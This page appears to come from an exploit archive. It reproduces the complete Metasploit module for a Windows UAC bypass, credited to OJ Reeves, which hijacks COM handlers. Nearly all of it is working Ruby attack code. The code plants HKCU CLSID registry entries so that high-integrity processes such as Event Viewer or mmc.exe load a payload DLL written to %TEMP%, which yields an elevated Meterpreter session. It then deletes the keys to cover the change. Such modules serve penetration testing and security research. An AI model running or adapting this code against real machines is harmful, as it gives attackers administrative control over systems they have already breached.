Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)

2017.08.22
Credit: OJ Reeves
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Post::Windows::Priv include Post::Windows::Registry include Post::Windows::Runas include Exploit::FileDropper CLSID_PATH = "HKCU\\Software\\Classes\\CLSID" DEFAULT_VAL_NAME = '' # This maps to "(Default)" def initialize(info={}) super(update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)', 'Description' => %q{ This module will bypass Windows UAC by creating COM handler registry entries in the HKCU hive. When certain high integrity processes are loaded, these registry entries are referenced resulting in the process loading user-controlled DLLs. These DLLs contain the payloads that result in elevated sessions. Registry key modifications are cleaned up after payload invocation. This module requires the architecture of the payload to match the OS, but the current low-privilege Meterpreter session architecture can be different. If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process. This module invokes the target binary via cmd.exe on the target. Therefore if cmd.exe access is restricted, this module will not run correctly. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Nelson', # UAC bypass discovery and research 'b33f', # UAC bypass discovery and research 'OJ Reeves' # MSF module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://www.youtube.com/watch?v=3gz1QmiHhss', 'URL', 'https://wikileaks.org/ciav7p1/cms/page_13763373.html', 'URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf', ] ], 'DisclosureDate'=> 'Jan 01 1900' )) end def check if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit # Make sure we have a sane payload configuration if sysinfo['Architecture'] != payload_instance.arch.first fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") end registry_view = REGISTRY_VIEW_NATIVE if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 registry_view = REGISTRY_VIEW_64_BIT end # Validate that we can actually do things before we bother # doing any more work check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." ) when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end payload = generate_payload_dll({:dll_exitprocess => true}) commspec = expand_path('%COMSPEC%') dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll") hijack = hijack_com(registry_view, dll_name) unless hijack && hijack[:cmd_path] fail_with(Failure::Unknown, 'Unable to hijack COM') end begin print_status("Targeting #{hijack[:name]} via #{hijack[:root_key]} ...") print_status("Uploading payload to #{dll_name} ...") write_file(dll_name, payload) register_file_for_cleanup(dll_name) print_status("Executing high integrity process ...") args = "/c #{expand_path(hijack[:cmd_path])}" args << " #{hijack[:cmd_args]}" if hijack[:cmd_args] # Launch the application from cmd.exe instead of directly so that we can # avoid the dreaded 740 error (elevation requried) client.sys.process.execute(commspec, args, {'Hidden' => true}) # Wait a copule of seconds to give the payload a chance to fire before cleaning up Rex::sleep(5) handler(client) ensure print_status("Cleaining up registry ...") registry_deletekey(hijack[:root_key], registry_view) end end # TODO: Add more hijack points when they're known. # TODO: when more class IDs are found for individual hijackpoints # they can be added to the array of class IDs. @@hijack_points = [ { name: 'Event Viewer', cmd_path: '%WINDIR%\System32\eventvwr.exe', class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] }, { name: 'Computer Managment', cmd_path: '%WINDIR%\System32\mmc.exe', cmd_args: 'CompMgmt.msc', class_ids: ['0A29FF9E-7F9C-4437-8B11-F424491E3931'] } ] # # Perform the hijacking of COM class IDS. This function chooses a random # application target and a random class id associated with it before # modifying the registry. # def hijack_com(registry_view, dll_path) target = @@hijack_points.sample target_clsid = target[:class_ids].sample root_key = "#{CLSID_PATH}\\{#{target_clsid}}" inproc_key = "#{root_key}\\InProcServer32" shell_key = "#{root_key}\\ShellFolder" registry_createkey(root_key, registry_view) registry_createkey(inproc_key, registry_view) registry_createkey(shell_key, registry_view) registry_setvaldata(inproc_key, DEFAULT_VAL_NAME, dll_path, 'REG_SZ', registry_view) registry_setvaldata(inproc_key, 'ThreadingModel', 'Apartment', 'REG_SZ', registry_view) registry_setvaldata(inproc_key, 'LoadWithoutCOM', '', 'REG_SZ', registry_view) registry_setvaldata(shell_key, 'HideOnDesktop', '', 'REG_SZ', registry_view) registry_setvaldata(shell_key, 'Attributes', 0xf090013d, 'REG_DWORD', registry_view) { name: target[:name], cmd_path: target[:cmd_path], cmd_args: target[:cmd_args], root_key: root_key } end def check_permissions! fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin vprint_status('Checking admin status...') admin_group = is_in_admin_group? unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, "Target is not vulnerable.") end unless is_in_admin_group? fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end print_status('UAC is Enabled, checking level...') if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end end


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